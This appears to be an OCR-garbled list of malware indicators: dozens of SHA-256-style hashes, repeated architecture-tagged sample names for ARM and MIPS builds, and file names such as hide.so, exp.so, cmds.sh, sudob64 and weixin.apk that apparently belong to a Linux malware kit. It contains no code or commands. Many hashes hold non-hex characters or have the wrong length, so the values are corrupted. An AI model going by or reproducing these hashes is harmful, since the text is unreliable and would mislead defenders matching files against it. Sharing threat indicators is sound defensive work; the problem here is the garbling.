ch99f48813143c7f41bbad5f566d1eb9d8f09bef7dfbce35bf910e3670a87fcl
c930defd0Ob994301481689198dbe427396a25a011618da43c8c17557b4b89ee
d6a4a72165265cabaec4dccad775ca403bbaf713689ebfda2f@aeba8341527513
593fd3a9946ae6eleb457e812635d161c4060ca9994c1af6693073a72f37f272
d609bbee26838a421a29a5acf1f8c394d05bdaabc21226c027317c8e285752d2
7facl005ecc3a76c153e0f3bd39eac348998b4c9f94150281791eb1c088cf11l
5d0cdfécelca67dcde179db2fbd527358983fed57a333b02b1lbe7aead8fffe8c
5809137091be4c525522080fcdc033ff8179b77f5cf8974b2debaa8c909ac17d
54fc8ch6405e4d46815da8966a6c4b9d497f01b2c12ee46901f22e4a28ac606¢C
cad86df45b48eb86440bc9245f2a017c56b235ce6a51ac09439ee79d470c7e95
d618308c0elab826f1c5ab6dedf55b0a7ea65e0b1f6853b7990ae79de983dbla
be434a0afc7d4ee0c38f1362d274463alabead82983a3e602bab18a2189c354c
c4456da60563e€9272f7a4b82fcf3632c17d756c0Tf00f641008d898e00732186f
4b9326290509a49c951ae676d57302a0d4423a67f13179ce5d655a30bTd3b553
fc82a4ed35b416bf85dcf2af8832e259f783695a12fd83aaf424a1812b51ch41
de5fce323f00bc5267ab59093c2a39d52919ecd1c2e40aa99335658f176d0004
4461f27d80dd90a6a93450c249fela334ab2a6d1c5334a96454d4301c9fe45f2
feel0027ffc502060b7a68c13126727e79752200917532693a4a1dc8b88f8ebh0

X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_armb64
X10-unix_armb64
X10-unix_armb64
X10-unix_armb64
X10-unix_armb64
X10-unix_armb64
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
X10-unix_mips
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a63c421fedfa5300215150a2adcf771b22806c500e57dabef5c55e30b9da659f
83c031c53e1b638729381d528d3079c7fal0e8645b4751367468a32aa0410927
19ee274f39587586685cad38acO0celd4ace3d3d54187c4c7b49529619c80caff
fc05e00c5fbf154575179cf6bc544be709209a3438ec7e5620bl1l1a41cf2al3bla
faa5c2ce36e61cff87f15493b447bad3d32fccd8592daf89744e804e613c0Oces
73a33bcb931100b1c7c69bb602f29af63ac7fece7ffc5010b9127cl11e3cda9a9
6552ca5e01fa8d7ae6282992eaf4cdd766c6cc91a7a013159b1e248a4b3923be
4eaadled46chdB8a210c55710a1408fe65e6fdb75519fd5aab803e1790ee5adc21
fbf9a193e6c22148343c7149b478896ab2080d496b30a2ee63d8f5476F4c768b
c4276a635aa8ab64ac641chlca52cbe2b94e75dfedd280c9d5f3b87ec09e9d6d0O
548067df7937ae99f495eeacebf95babb453b8210440977fc8da974c5edchb3bs
120c439492a7568f9d3c4dbb37fddc19ceb37d050b2332e03ceff179701f3112
8981db535d14c7ee0@74cefe7ee8cOc5cf941823ad473edd720eb5fa5ad5dcfO5
Obe37eb7fbdbd707a96583039b306072624ccf3d555e2ch6092779148337e826
14326fa642a616242d2800d4c8e812fada88c60bc0297f173438427c083ffdOf
7b099ba12857d583ch680a2dfc2a208036834e5h159608909749c17fc9fe®9h9
74d8ec31cbel3d789e8e11a8257a764976e14e20d0d0f0ac96ded78cd5f0daf19
7ce253900b8aeeefe712e49d4ebf053f7c7db384bd91e290ccc2cc8dOfd9eb50
7fcc785003806652586405412509ffdeac74903944f97b18e0c8b0101bl0ddce
6abf58434a2a15825d39beaeelal314d4b21c669e1615d112d436b11c4e74ec6b
98d93716b46c9dfe66f71e62f1laad625fb585d4d7fead9c24f192924d097e61ba
4721a2f098418568280c667890e652421e59afcdf7b53ch7dc98fc9222f88f39
83e678f8d0c25705bb5bh8ae847b0de8ebbebf35ce15722502cf79d9e1c6b3b39
292adca62a990611736a4911ca825f33a70eelf83cd08f981e43c5f4c465b4db
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4105d5e7f6207b07f5ee09eee94b0293eb4f8b71e83ba914a4f6fbea556c3290
6f12ce8e08b7cf8ce9ecefbad®66cc7c990767b7ecaa311188519474f46a55del
€c6707c5a554385514bdc63fa3824a2f563314acc190d817c09fa6c3de669b51a
991ad42e3969046670dc79b26c5c5209e415ff62b4e3ec765816984bf81adah6
ee8bb4975a44e7hf9432a0e7a08bc4362b17dbca769e6272839a4e5ha34e4cc8
7b56e97a7bbbce9ef64d963461773e1300e194554270c03a1d874119890d16b1
bd77b7c710ef1483celdc3fcdcc6e966c1328c171e1780e71dbc765ca0144fba
aaeelel8e0944c12825c65bd8cf735cc887abc5fhe@6a478e3e23e69606F85ce
5e6788591a2066d63ae0a42156131ae9f77a782f0372619346836c9f6be0@9dab
814b60d82e040def87b791chfe5c2509f0c1b282edOcc13f0a8cc245f26c5309
d2a2538e12cf1f607769b60Ta98e03b7980b452fh732084bb00c2243b2063dba
2747f2b000d9a0d8019725680ebece51ff171860733ealdccl649alcl19b4db44
2f7f670840314d702dd7c542f61f4b9d16f4a25eec63757f876363585db7eb4a
dbe96ec3bb2b02897fbe5449f56000bbbec03192922a33e36f4d77431e984853
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blu
bluarmb64
blub64
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cmds.sh
config.json
config.json
config

do

exp.so
hide.so
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hide.so
hide.so
hide_arm.so
hide_armb64
hideb64
hidemipsb64
mipsld.so
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ss.exe
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Ss

ss
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ss_mips
ss_mips
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ssh64
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ssh64

sudo
sudob64
u.sh

u.sh
weixin.apk
weixin.apk
weixin.apk
15 . apk
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